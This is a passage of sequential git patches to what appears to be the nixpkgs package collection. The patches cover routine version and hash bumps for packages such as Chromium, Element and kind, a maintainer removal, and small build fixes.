+++ b/pkgs/by-name/he/heroic-unwrapped/package.nix
@@ -22,13 +22,13 @@ let
 in
 stdenv.mkDerivation (finalAttrs: {
   pname = "heroic-unwrapped";
-  version = "2.17.1";
+  version = "2.17.2";
 
   src = fetchFromGitHub {
     owner = "Heroic-Games-Launcher";
     repo = "HeroicGamesLauncher";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-8vmFgLtFvS9JtbQbUNdSHr9zZaTZnQ2ntSueLcCICaE=";
+    hash = "sha256-oJIs+tsE0PUbX+2pyvH7gPdFuevN8sfrXASu0SxDkBU=";
   };
 
   pnpmDeps = pnpm_10.fetchDeps {

From 574e1c3eed70d531c9cb07102be4899636c86688 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Wed, 11 Jun 2025 10:39:30 +0200
Subject: [PATCH 0854/4511] flyctl: remove myself from maintainers

(cherry picked from commit 5985d3fcec332458cfe86b5d7a9ba2ce63b42c26)
---
 pkgs/by-name/fl/flyctl/package.nix | 1 -
 1 file changed, 1 deletion(-)

diff --git a/pkgs/by-name/fl/flyctl/package.nix b/pkgs/by-name/fl/flyctl/package.nix
index 3315d731f91a..c7b0e94c67fd 100644
--- a/pkgs/by-name/fl/flyctl/package.nix
+++ b/pkgs/by-name/fl/flyctl/package.nix
@@ -77,7 +77,6 @@ buildGoModule rec {
       jsierles
       techknowlogick
       RaghavSood
-      teutat3s
     ];
     mainProgram = "flyctl";
   };

From a5fb3cbe21c1d4d1d4e0f18f27365a76879d98f4 Mon Sep 17 00:00:00 2001
From: Julius Michaelis <gitter@liftm.de>
Date: Tue, 13 May 2025 20:40:03 +0900
Subject: [PATCH 0855/4511] opensplat: patch for torch 2.6

(cherry picked from commit 8c7f0a16b70a270ca9edc01c8b5a5eefb0d2f0ce)
---
 pkgs/by-name/op/opensplat/package.nix | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/pkgs/by-name/op/opensplat/package.nix b/pkgs/by-name/op/opensplat/package.nix
index 6dbe03103e21..a9372c86b8aa 100644
--- a/pkgs/by-name/op/opensplat/package.nix
+++ b/pkgs/by-name/op/opensplat/package.nix
@@ -16,6 +16,7 @@
   cudaSupport ? config.cudaSupport,
   cudaPackages,
   autoAddDriverRunpath,
+  fetchpatch2,
 }:
 let
   version = "1.1.4";
@@ -35,6 +36,13 @@ stdenv'.mkDerivation {
     hash = "sha256-u2UmD0O3sUWELYb4CjQE19i4HUjLMcaWqOinQH0PPTM=";
   };
 
+  patches = [
+    (fetchpatch2 {
+      url = "https://github.com/pierotofy/OpenSplat/commit/7fb96e86a43ac6cfd3eb3a7f6be190c5f2dbeb73.patch";
+      hash = "sha256-hWJWU/n1pRAAbExAYUap6CoSjIu2dzCToUmacSSpa0I=";
+    })
+  ];
+
   nativeBuildInputs =
     [
       cmake

From ba43c733df4d5bfbcd41a9d2cb269bfacd1c0d56 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 29 May 2025 12:11:56 +0000
Subject: [PATCH 0856/4511] kind: 0.27.0 -> 0.29.0

(cherry picked from commit 0b843987c92498af2d3a230b3a0d992a098fbc1e)
---
 pkgs/by-name/ki/kind/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ki/kind/package.nix b/pkgs/by-name/ki/kind/package.nix
index 9cbad3d0c47a..b5cc225021dd 100644
--- a/pkgs/by-name/ki/kind/package.nix
+++ b/pkgs/by-name/ki/kind/package.nix
@@ -10,13 +10,13 @@
 
 buildGoModule rec {
   pname = "kind";
-  version = "0.27.0";
+  version = "0.29.0";
 
   src = fetchFromGitHub {
     rev = "v${version}";
     owner = "kubernetes-sigs";
     repo = "kind";
-    hash = "sha256-J0M/enjufNmEMm43zo5fi5hL1LfaemNwR6nCClVCJNA=";
+    hash = "sha256-Dv4I50LQcr8fOaCCdaKkz+pHIG05UBQAdDs7gGngm4Y=";
   };
 
   patches = [
@@ -24,7 +24,7 @@ buildGoModule rec {
     ./kernel-module-path.patch
   ];
 
-  vendorHash = "sha256-dwdDVN/B1bv8cYZYcXxSlGgO46ljBZfXuivPXmvo28c=";
+  vendorHash = "sha256-QFDQkl1QuIc0fUK0raVxmPT7AF6fsKlQ4F0dzOM9fcw=";
 
   nativeBuildInputs = [ installShellFiles ];
 

From fb0c139b50b8302562026698f0a64e8446661d68 Mon Sep 17 00:00:00 2001
From: Sapphire <imsapphire0@gmail.com>
Date: Mon, 2 Jun 2025 01:01:23 -0500
Subject: [PATCH 0857/4511] wivrn: manually wrap wivrn-dashboard to avoid
 double-wrapping

(cherry picked from commit 119fe2ab69e9344aeacff1e608091bfcc09b0f93)
---
 pkgs/by-name/wi/wivrn/package.nix | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/wi/wivrn/package.nix b/pkgs/by-name/wi/wivrn/package.nix
index 6be3a80dbc25..c89fbddd8e1d 100644
--- a/pkgs/by-name/wi/wivrn/package.nix
+++ b/pkgs/by-name/wi/wivrn/package.nix
@@ -167,8 +167,10 @@ stdenv.mkDerivation (finalAttrs: {
       (lib.cmakeFeature "CUDA_TOOLKIT_ROOT_DIR" "${cudaPackages.cudatoolkit}")
     ];
 
-  postFixup = ''
-    wrapProgram $out/bin/wivrn-dashboard \
+  dontWrapQtApps = true;
+
+  preFixup = ''
+    wrapQtApp "$out/bin/wivrn-dashboard" \
       --prefix LD_LIBRARY_PATH : ${lib.makeLibraryPath [ vulkan-loader ]}
   '';
 

From f18643a581ee7095adca4b33be83e3425a65fcdb Mon Sep 17 00:00:00 2001
From: John Titor <50095635+JohnRTitor@users.noreply.github.com>
Date: Wed, 11 Jun 2025 12:48:26 +0000
Subject: [PATCH 0858/4511] google-chrome: 137.0.7151.68 -> 137.0.7151.103

(cherry picked from commit 55043dbf08ba864dddd3c884101eb1d81cc2ff71)
---
 pkgs/by-name/go/google-chrome/package.nix | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/go/google-chrome/package.nix b/pkgs/by-name/go/google-chrome/package.nix
index 22e07fc21e39..f7d83072c92d 100644
--- a/pkgs/by-name/go/google-chrome/package.nix
+++ b/pkgs/by-name/go/google-chrome/package.nix
@@ -171,11 +171,11 @@ let
 
   linux = stdenvNoCC.mkDerivation (finalAttrs: {
     inherit pname meta passthru;
-    version = "137.0.7151.68";
+    version = "137.0.7151.103";
 
     src = fetchurl {
       url = "https://dl.google.com/linux/chrome/deb/pool/main/g/google-chrome-stable/google-chrome-stable_${finalAttrs.version}-1_amd64.deb";
-      hash = "sha256-TBJ6XOnxrP/+Gnd2Y3/aYbRG5N+b7dKS/u80ZK4E+MM=";
+      hash = "sha256-fodxvhsZXB5qyQf05Id5DDtoAyh7Y5m+b1p5DgTNfM4=";
     };
 
     # With strictDeps on, some shebangs were not being patched correctly
@@ -276,11 +276,11 @@ let
 
   darwin = stdenvNoCC.mkDerivation (finalAttrs: {
     inherit pname meta passthru;
-    version = "137.0.7151.69";
+    version = "137.0.7151.104";
 
     src = fetchurl {
-      url = "http://dl.google.com/release2/chrome/aciew3ymglq2kjdorwr226xwu5iq_137.0.7151.69/GoogleChrome-137.0.7151.69.dmg";
-      hash = "sha256-5WU8ZD/+uyNsAhPR0fSR9FkFleKMakUduErm49rMRcI=";
+      url = "http://dl.google.com/release2/chrome/din3a4gpe3yt7dv7nagbwgsv5a_137.0.7151.104/GoogleChrome-137.0.7151.104.dmg";
+      hash = "sha256-zS8h03FYAAoj9bHcm/P3d70W2hhRfqw+wsioHgmBKg8=";
     };
 
     dontPatch = true;

From 7f60018c1f5c2d212215e172231ba933e30c8544 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 11 Jun 2025 05:53:59 +0000
Subject: [PATCH 0859/4511] python3Packages.libknot: 3.4.6 -> 3.4.7

(cherry picked from commit 204248deff971a2f55f8db058064953d534eb5af)
---
 pkgs/development/python-modules/libknot/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/python-modules/libknot/default.nix b/pkgs/development/python-modules/libknot/default.nix
index 731319b7e44d..b1834959e273 100644
--- a/pkgs/development/python-modules/libknot/default.nix
+++ b/pkgs/development/python-modules/libknot/default.nix
@@ -12,12 +12,12 @@
 
 buildPythonPackage rec {
   pname = "libknot";
-  version = "3.4.6";
+  version = "3.4.7";
   pyproject = true;
 
   src = fetchPypi {
     inherit pname version;
-    hash = "sha256-GthzZgu8UW/BoW5AJSriKSKHEQF4w9S0Vnl9DKOsimk=";
+    hash = "sha256-RtaGVI9HN8ioegzx801NK5ZC85jqIO6MTj2V9Rj+xYs=";
   };
 
   postPatch = ''

From a78c92f87650c6250b26b7a797b40a3da3e18c72 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Wed, 11 Jun 2025 15:35:37 +0200
Subject: [PATCH 0860/4511] prometheus-knot-exporter: 3.4.6 -> 3.4.7

(cherry picked from commit 8b2d5c1f94ccd6ce1e43b32c40ce72394f16e069)
---
 pkgs/servers/monitoring/prometheus/knot-exporter.nix | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/servers/monitoring/prometheus/knot-exporter.nix b/pkgs/servers/monitoring/prometheus/knot-exporter.nix
index 32ba7d411c3f..1710926a6804 100644
--- a/pkgs/servers/monitoring/prometheus/knot-exporter.nix
+++ b/pkgs/servers/monitoring/prometheus/knot-exporter.nix
@@ -7,20 +7,20 @@
 
 python3.pkgs.buildPythonApplication rec {
   pname = "knot-exporter";
-  version = "3.4.6";
+  version = "3.4.7";
   pyproject = true;
 
   src = fetchPypi {
     pname = "knot_exporter";
     inherit version;
-    hash = "sha256-OMBg7sjFU3GpVKiXNWVBr4Oa1v4MTr1jZMrR7MhzgVg=";
+    hash = "sha256-NoPzeDP+0lLq6TKCCacLBQdCkQlFuffcImn3WJMHcwg=";
   };
 
-  nativeBuildInputs = [
+  build-system = [
     python3.pkgs.hatchling
   ];
 
-  propagatedBuildInputs = with python3.pkgs; [
+  dependencies = with python3.pkgs; [
     libknot
     prometheus-client
     psutil
@@ -35,7 +35,7 @@ python3.pkgs.buildPythonApplication rec {
   meta = with lib; {
     description = "Prometheus exporter for Knot DNS";
     homepage = "https://gitlab.nic.cz/knot/knot-dns/-/tree/master/python/knot_exporter";
-    license = licenses.gpl3Only;
+    license = licenses.gpl2Plus;
     maintainers = with maintainers; [
       ma27
       hexa

From 9524ab8b826e548b784c1b346d74282c33ec9373 Mon Sep 17 00:00:00 2001
From: liberodark <liberodark@gmail.com>
Date: Wed, 11 Jun 2025 15:46:42 +0200
Subject: [PATCH 0861/4511] hot-resize: 0.1.2 -> 0.1.3

(cherry picked from commit d541ad5ee05ce0a7f3d7064d3467d35500bfd71a)
---
 pkgs/by-name/ho/hot-resize/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ho/hot-resize/package.nix b/pkgs/by-name/ho/hot-resize/package.nix
index 62fa18e466ea..595b90c8d7f6 100644
--- a/pkgs/by-name/ho/hot-resize/package.nix
+++ b/pkgs/by-name/ho/hot-resize/package.nix
@@ -19,17 +19,17 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "hot-resize";
-  version = "0.1.2";
+  version = "0.1.3";
 
   src = fetchFromGitHub {
     owner = "liberodark";
     repo = "hot-resize";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-aGiu+YPflbyemk1IB0tPystu4hao0qLzLtuV0KAJtYg=";
+    hash = "sha256-5mh09ZYNpuWVJ2g9p8C6Ad4k132UWjudBhTb3HfoFRc=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-u+VW5aZkMhQ+dgRAHmK7avxp6PfzFyG49SfYr0stpuQ=";
+  cargoHash = "sha256-kUWyL36BC1+4FjujVxeguB0VvBtIN32QpuNYV6wjC5s=";
 
   nativeBuildInputs = [
     pkg-config

From b430db3469c405dc0755ce6b8f4525c9f59df447 Mon Sep 17 00:00:00 2001
From: liberodark <liberodark@gmail.com>
Date: Wed, 11 Jun 2025 15:49:17 +0200
Subject: [PATCH 0862/4511] nvme-rs: 0.1.0 -> 0.1.1

(cherry picked from commit 4b1a5a33552c2b832bf1ad28d72282f64af897d3)
---
 pkgs/by-name/nv/nvme-rs/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/nv/nvme-rs/package.nix b/pkgs/by-name/nv/nvme-rs/package.nix
index 3620fe08c45d..f674df582898 100644
--- a/pkgs/by-name/nv/nvme-rs/package.nix
+++ b/pkgs/by-name/nv/nvme-rs/package.nix
@@ -11,17 +11,17 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "nvme-rs";
-  version = "0.1.0";
+  version = "0.1.1";
 
   src = fetchFromGitHub {
     owner = "liberodark";
     repo = "nvme-rs";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-yM0jzqO+BpsIcr+IMZf5idAY4DTpLxP1VGISzhWhOlI=";
+    hash = "sha256-lkuOPe5gYhboK9zylTCVN1DFWCFRHhfJa7tNEHH/GQM=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-V9drHGeY0dvMVdCd016kELGZe7r/Qhia8fGRI9CO/ns=";
+  cargoHash = "sha256-MNEG6GGfMg1FXodD8yEMqvm8lYkQgYXMc/vR4lV166I=";
 
   nativeBuildInputs = [
     pkg-config

From be2a2be0b943f7677cbd3c0bcdfb8313671cffb8 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E2=9B=A7-440729=20=5Bsophie=5D?= <sophie@999eagle.moe>
Date: Wed, 11 Jun 2025 14:10:40 +0200
Subject: [PATCH 0863/4511] searxng: 0-unstable-2025-04-09 ->
 0-unstable-2025-06-10, add updateScript

(cherry picked from commit fa841a42c2ad79308b53d32d78c2f7e35dfb0ad1)
---
 pkgs/by-name/se/searxng/package.nix | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/se/searxng/package.nix b/pkgs/by-name/se/searxng/package.nix
index 9e8307b0d48e..3f20f900e3da 100644
--- a/pkgs/by-name/se/searxng/package.nix
+++ b/pkgs/by-name/se/searxng/package.nix
@@ -3,6 +3,7 @@
   python3,
   fetchFromGitHub,
   nixosTests,
+  unstableGitUpdater,
 }:
 let
   python = python3.override {
@@ -37,13 +38,13 @@ in
 python.pkgs.toPythonModule (
   python.pkgs.buildPythonApplication rec {
     pname = "searxng";
-    version = "0-unstable-2025-04-09";
+    version = "0-unstable-2025-06-10";
 
     src = fetchFromGitHub {
       owner = "searxng";
       repo = "searxng";
-      rev = "15384e8fc596da9c4a7e27393f8100018c3a61ed";
-      hash = "sha256-exkn/gQALJteUAsg3qeSnRGEbKANkhSBDziWUgJ1fF8=";
+      rev = "8888d71ab9391a8865959aa125cc7a1ae537f0b8";
+      hash = "sha256-nQvh8tp11WYe44nzBofLmJr/2el+SECoGK0Ds4lvdC4=";
     };
 
     postPatch = ''
@@ -112,6 +113,7 @@ python.pkgs.toPythonModule (
       tests = {
         searxng = nixosTests.searx;
       };
+      updateScript = unstableGitUpdater { hardcodeZeroVersion = true; };
     };
 
     meta = with lib; {

From f5d00204216569bfb822eaeaf465556727f235c3 Mon Sep 17 00:00:00 2001
From: transcaffeine <transcaffeine@finally.coffee>
Date: Tue, 10 Jun 2025 18:09:17 +0200
Subject: [PATCH 0864/4511] element-web-unwrapped: 1.11.102 -> 1.11.103

Release notes: https://github.com/element-hq/element-web/releases/tag/v1.11.103
Full Changelog: https://github.com/element-hq/element-web/compare/v1.11.102...v1.11.103

(cherry picked from commit fb45b32dd4f65de012182f0225134cf2ca3919f4)
---
 pkgs/by-name/el/element-web-unwrapped/element-web-pin.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/el/element-web-unwrapped/element-web-pin.nix b/pkgs/by-name/el/element-web-unwrapped/element-web-pin.nix
index bf3c641d42d4..71084ad29a4b 100644
--- a/pkgs/by-name/el/element-web-unwrapped/element-web-pin.nix
+++ b/pkgs/by-name/el/element-web-unwrapped/element-web-pin.nix
@@ -1,7 +1,7 @@
 {
-  "version" = "1.11.102";
+  "version" = "1.11.103";
   "hashes" = {
-    "webSrcHash" = "sha256-B21fBRcksX8MoyWiqf1sa9yowJ/Z/wcM3vEqslunv7A=";
-    "webYarnHash" = "sha256-NXoGMEJM4uxFMCb5YX0ue9hgxe22hzG0MTeAOaBrJO4=";
+    "webSrcHash" = "sha256-yTqrvKa9B6gJ3+WR6jJSud+L/rGQsm7DkLHuicrI5Es=";
+    "webYarnHash" = "sha256-ys/H9AG1EdGHVMTtluqNSg/aW/OOA9/x79hErgiKef0=";
   };
 }

From 0628f58398daff7afed2c1b537f68e1acf1d575a Mon Sep 17 00:00:00 2001
From: transcaffeine <transcaffeine@finally.coffee>
Date: Tue, 10 Jun 2025 18:22:49 +0200
Subject: [PATCH 0865/4511] element-desktop: 1.11.102 -> 1.11.103

Release notes: https://github.com/element-hq/element-desktop/releases/tag/v1.11.103
Full changelog: https://github.com/element-hq/element-desktop/compare/v1.11.102...v1.11.103

(cherry picked from commit 1a569c60372f58b16f1cd31848edabec1272dfe7)
---
 pkgs/by-name/el/element-desktop/element-desktop-pin.nix | 4 ++--
 pkgs/by-name/el/element-desktop/package.nix             | 4 ++++
 2 files changed, 6 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/el/element-desktop/element-desktop-pin.nix b/pkgs/by-name/el/element-desktop/element-desktop-pin.nix
index 178e8c7b5ce6..a4d2d573ccc1 100644
--- a/pkgs/by-name/el/element-desktop/element-desktop-pin.nix
+++ b/pkgs/by-name/el/element-desktop/element-desktop-pin.nix
@@ -1,7 +1,7 @@
 {
-  "version" = "1.11.102";
+  "version" = "1.11.103";
   "hashes" = {
-    "desktopSrcHash" = "sha256-wefoN8Nk31lwJFYbBRoKfy+0n69yVg6jskqP6aTHApE=";
+    "desktopSrcHash" = "sha256-GKuIwoco8O9EjXrE7jGdfTDfWTyhozDtzrJFVH+uvaQ=";
     "desktopYarnHash" = "sha256-/Gy/sYk8EBWU07zXwPl0zsDW5ADRq1j5PH4lPFe8dxk=";
   };
 }
diff --git a/pkgs/by-name/el/element-desktop/package.nix b/pkgs/by-name/el/element-desktop/package.nix
index 6b0d35e3cb64..9593ed39c3c5 100644
--- a/pkgs/by-name/el/element-desktop/package.nix
+++ b/pkgs/by-name/el/element-desktop/package.nix
@@ -67,9 +67,13 @@ stdenv.mkDerivation (
     dontPatchShebangs = true;
 
     configurePhase = ''
+      runHook preConfigure
+
       mkdir -p node_modules/
       cp -r $offlineCache/node_modules/* node_modules/
       substituteInPlace package.json --replace-fail "tsx " "node node_modules/tsx/dist/cli.mjs "
+
+      runHook postConfigure
     '';
 
     buildPhase = ''

From af0b7004b54d728b2ac9f21efdbce0e4ad634104 Mon Sep 17 00:00:00 2001
From: Connor Baker <ConnorBaker01@gmail.com>
Date: Tue, 27 May 2025 23:51:13 +0000
Subject: [PATCH 0866/4511] _cuda: missed fixups

Signed-off-by: Connor Baker <ConnorBaker01@gmail.com>
(cherry picked from commit 816a644da5883579b0dcff9d8068862ad398d40e)
---
 pkgs/development/cuda-modules/README.md         | 2 --
 pkgs/development/cuda-modules/_cuda/default.nix | 8 ++++----
 pkgs/development/cuda-modules/tests/flags.nix   | 8 ++++----
 pkgs/top-level/release-cuda.nix                 | 2 +-
 4 files changed, 9 insertions(+), 11 deletions(-)

diff --git a/pkgs/development/cuda-modules/README.md b/pkgs/development/cuda-modules/README.md
index 4d4e14eb5af8..1a88761c4d51 100644
--- a/pkgs/development/cuda-modules/README.md
+++ b/pkgs/development/cuda-modules/README.md
@@ -29,8 +29,6 @@ package set by [cuda-packages.nix](../../top-level/cuda-packages.nix).
       short, the Multiplex builder adds multiple versions of a single package to
       single instance of the CUDA Packages package set. It is used primarily for
       packages like `cudnn` and `cutensor`.
-- `lib`: A library of functions and data used by and for the CUDA package set.
-    This library is exposed at the top-level as `pkgs.cudaLib`.
 - `modules`: Nixpkgs modules to check the shape and content of CUDA
     redistributable and feature manifests. These modules additionally use shims
     provided by some CUDA packages to allow them to re-use the
diff --git a/pkgs/development/cuda-modules/_cuda/default.nix b/pkgs/development/cuda-modules/_cuda/default.nix
index 4d0c3c4b5d6a..0f6f80506616 100644
--- a/pkgs/development/cuda-modules/_cuda/default.nix
+++ b/pkgs/development/cuda-modules/_cuda/default.nix
@@ -1,8 +1,8 @@
 # The _cuda attribute set is a fixed-point which contains the static functionality required to construct CUDA package
-# sets. For example, `_cuda.cudaData` includes information about NVIDIA's redistributables (such as the names NVIDIA
-# uses for different systems), `_cuda.cudaLib` contains utility functions like `formatCapabilities` (which generate
-# common arguments passed to NVCC and `cmakeFlags`), and `_cuda.cudaFixups` contains `callPackage`-able functions
-# which are provided to the corresponding package's `overrideAttrs` attribute to provide package-specific fixups
+# sets. For example, `_cuda.bootstrapData` includes information about NVIDIA's redistributables (such as the names
+# NVIDIA uses for different systems), `_cuda.lib` contains utility functions like `formatCapabilities` (which generate
+# common arguments passed to NVCC and `cmakeFlags`), and `_cuda.fixups` contains `callPackage`-able functions which
+# are provided to the corresponding package's `overrideAttrs` attribute to provide package-specific fixups
 # out of scope of the generic redistributable builder.
 #
 # Since this attribute set is used to construct the CUDA package sets, it must exist outside the fixed point of the
diff --git a/pkgs/development/cuda-modules/tests/flags.nix b/pkgs/development/cuda-modules/tests/flags.nix
index 314f69d1b90a..926a9be5220f 100644
--- a/pkgs/development/cuda-modules/tests/flags.nix
+++ b/pkgs/development/cuda-modules/tests/flags.nix
@@ -1,14 +1,13 @@
 {
-  cudaData,
-  cudaLib,
+  _cuda,
   cudaNamePrefix,
   lib,
   runCommand,
 }:
 let
   inherit (builtins) deepSeq toJSON tryEval;
-  inherit (cudaData) cudaCapabilityToInfo;
-  inherit (cudaLib) formatCapabilities;
+  inherit (_cuda.bootstrapData) cudaCapabilityToInfo;
+  inherit (_cuda.lib) formatCapabilities;
   inherit (lib.asserts) assertMsg;
 in
 # When changing names or formats: pause, validate, and update the assert
@@ -62,6 +61,7 @@ assert
         "7.5"
         "8.6"
       ];
+      cudaForwardCompat = true;
     };
     actualWrapped = (tryEval (deepSeq actual actual)).value;
   in
diff --git a/pkgs/top-level/release-cuda.nix b/pkgs/top-level/release-cuda.nix
index 6e6e4811604a..e9d64e74cd70 100644
--- a/pkgs/top-level/release-cuda.nix
+++ b/pkgs/top-level/release-cuda.nix
@@ -14,7 +14,7 @@
 
 let
   lib = import ../../lib;
-  inherit (import ../development/cuda-modules/_cuda) cudaLib;
+  cudaLib = (import ../development/cuda-modules/_cuda).lib;
 in
 
 {

From af4641fcedd39391889cb8374708be2d47c70d1b Mon Sep 17 00:00:00 2001
From: Markus Kowalewski <markus.kowalewski@gmail.com>
Date: Mon, 9 Jun 2025 17:56:17 +0200
Subject: [PATCH 0867/4511] saunafs: 4.8.1 -> 4.11.0

(cherry picked from commit 5a6b55a865840c861057f22439ea5ccad2bc9db7)
---
 pkgs/by-name/sa/saunafs/package.nix   | 14 ++++++++++++--
 pkgs/by-name/sa/saunafs/sfstool.patch |  7 +++----
 2 files changed, 15 insertions(+), 6 deletions(-)

diff --git a/pkgs/by-name/sa/saunafs/package.nix b/pkgs/by-name/sa/saunafs/package.nix
index d75dab2af27d..c6aeaea8f875 100644
--- a/pkgs/by-name/sa/saunafs/package.nix
+++ b/pkgs/by-name/sa/saunafs/package.nix
@@ -5,6 +5,9 @@
   fetchFromGitHub,
   cmake,
   asciidoc,
+  pkg-config,
+  db,
+  curl,
   jemalloc,
   boost186,
   fmt,
@@ -13,17 +16,19 @@
   yaml-cpp,
   isa-l,
   judy,
+  prometheus-cpp,
+  libz,
 }:
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "saunafs";
-  version = "4.8.1";
+  version = "4.11.0";
 
   src = fetchFromGitHub {
     owner = "leil-io";
     repo = "saunafs";
     rev = "v${finalAttrs.version}";
-    hash = "sha256-CGnU32TuHkDZYbC3bbjfz4lFWjYe3yrhX08K+UIP51Q=";
+    hash = "sha256-ZQ0+jiVpHZhAOdYneKkPi3M45LU9xj2FBbqo6VcD0JY=";
   };
 
   patches = [
@@ -39,8 +44,11 @@ stdenv.mkDerivation (finalAttrs: {
   nativeBuildInputs = [
     cmake
     asciidoc
+    pkg-config
   ];
   buildInputs = [
+    db
+    curl
     fmt
     spdlog
     yaml-cpp
@@ -49,6 +57,8 @@ stdenv.mkDerivation (finalAttrs: {
     jemalloc
     isa-l
     judy
+    prometheus-cpp
+    libz
   ];
 
   cmakeFlags = [
diff --git a/pkgs/by-name/sa/saunafs/sfstool.patch b/pkgs/by-name/sa/saunafs/sfstool.patch
index b3ca9e6510d2..6d8409772e19 100644
--- a/pkgs/by-name/sa/saunafs/sfstool.patch
+++ b/pkgs/by-name/sa/saunafs/sfstool.patch
@@ -1,12 +1,11 @@
 diff --git a/src/tools/sfstools.sh b/src/tools/sfstools.sh
-index ffd9ec22..a1cb83b6 100755
+index 2d47a275..30d1b20c 100755
 --- a/src/tools/sfstools.sh
 +++ b/src/tools/sfstools.sh
-@@ -1,4 +1,6 @@
- #!/usr/bin/env bash
+@@ -2,4 +2,5 @@
  
  tool="$(basename $0)"
+ >&2 echo "Warning: ${tool} is deprecated. Use saunafs ${tool#sfs} instead."
 -exec saunafs "${tool#sfs}" "$@"
 +dir="$(dirname $0)"
-+
 +exec "$dir/saunafs" "${tool#sfs}" "$@"

From cc0860916a39e8d7322b5a987c2e282b12770ff0 Mon Sep 17 00:00:00 2001
From: emilylange <git@emilylange.de>
Date: Wed, 11 Jun 2025 13:21:29 +0200
Subject: [PATCH 0868/4511] chromium,chromedriver: 137.0.7151.68 ->
 137.0.7151.103

https://chromereleases.googleblog.com/2025/06/stable-channel-update-for-desktop_10.html

This update includes 2 security fixes.

CVEs:
CVE-2025-5958 CVE-2025-5959

(cherry picked from commit f382a6b851f0a8bfb62e1a2a5fdf9c47841463a2)
---
 .../networking/browsers/chromium/info.json    | 20 +++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/pkgs/applications/networking/browsers/chromium/info.json b/pkgs/applications/networking/browsers/chromium/info.json
index d5dad782046f..fdd61d56554e 100644
--- a/pkgs/applications/networking/browsers/chromium/info.json
+++ b/pkgs/applications/networking/browsers/chromium/info.json
@@ -1,10 +1,10 @@
 {
   "chromium": {
-    "version": "137.0.7151.68",
+    "version": "137.0.7151.103",
     "chromedriver": {
-      "version": "137.0.7151.69",
-      "hash_darwin": "sha256-G88jte6xraXrrfEvCj7zndpQ7nxyzappuu4oZ79XY8U=",
-      "hash_darwin_aarch64": "sha256-wbOD/sVjLVcpPzrbAGu8b8YMbUOKkOt7eNxJDLKRjxo="
+      "version": "137.0.7151.104",
+      "hash_darwin": "sha256-K7kixWvPmTX35LB6whyHetvtaGxCBYoyr30LozPjQxI=",
+      "hash_darwin_aarch64": "sha256-57cLYzeZi1jKTBQcsSP0JD2RJDIl9RVQSGdY6cz3J68="
     },
     "deps": {
       "depot_tools": {
@@ -20,8 +20,8 @@
     "DEPS": {
       "src": {
         "url": "https://chromium.googlesource.com/chromium/src.git",
-        "rev": "2989ffee9373ea8b8623bd98b3cb350a8e95cadc",
-        "hash": "sha256-lPmmXVCNUa9of8d52hUejImPSEfOz7v7PlovZS4cfIE=",
+        "rev": "3dcc738117a3439068c9773ccd31f9858923fc4a",
+        "hash": "sha256-MIEjHLpfKIBiTFh+bO+NUf6iDpizTP9yfXQqbHfiDwo=",
         "recompress": true
       },
       "src/third_party/clang-format/script": {
@@ -241,8 +241,8 @@
       },
       "src/third_party/devtools-frontend/src": {
         "url": "https://chromium.googlesource.com/devtools/devtools-frontend",
-        "rev": "fdc8ca697612f90e7ddf2621dffbc43733d2d238",
-        "hash": "sha256-jKYldgZJwJeTQavmcM9enTdGN8+zt/EG7K1E9wQYIBA="
+        "rev": "e423961606946be24c8c1ec0d1ec91511efbabc5",
+        "hash": "sha256-MhooXuF6aw+ixPzvVCBl+6T+79cTReCYx86qqXAZ6bg="
       },
       "src/third_party/dom_distiller_js/dist": {
         "url": "https://chromium.googlesource.com/chromium/dom-distiller/dist.git",
@@ -791,8 +791,8 @@
       },
       "src/v8": {
         "url": "https://chromium.googlesource.com/v8/v8.git",
-        "rev": "e398f9bf6d5c8a768ab736f46146d7349cf31547",
-        "hash": "sha256-cJx8IgUB3UA3jEPvb5aDvHLYmAnHydK1qR11q6Y5PnA="
+        "rev": "41f53aba7095888c959932bd8f2ee8b4e16af223",
+        "hash": "sha256-ICrdvHA6fe2CUphRgPdlofazr0L+NFypWDNOI5e5QIM="
       }
     }
   },

From 0bc36c3d9a42877b3f51e5d03b47afb80f260b06 Mon Sep 17 00:00:00 2001
From: linsui <36977733+linsui@users.noreply.github.com>
Date: Tue, 27 May 2025 18:50:02 +0800
Subject: [PATCH 0869/4511] readeck: 0.18.2 -> 0.19.2

(cherry picked from commit 49860b21df19cee7fe6082bb99bbf262ce8459aa)
---
 pkgs/by-name/re/readeck/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/re/readeck/package.nix b/pkgs/by-name/re/readeck/package.nix
index d0082683eef4..00c9f2063ce3 100644
--- a/pkgs/by-name/re/readeck/package.nix
+++ b/pkgs/by-name/re/readeck/package.nix
@@ -27,14 +27,14 @@ in
 
 buildGoModule rec {
   pname = "readeck";
-  version = "0.18.2";
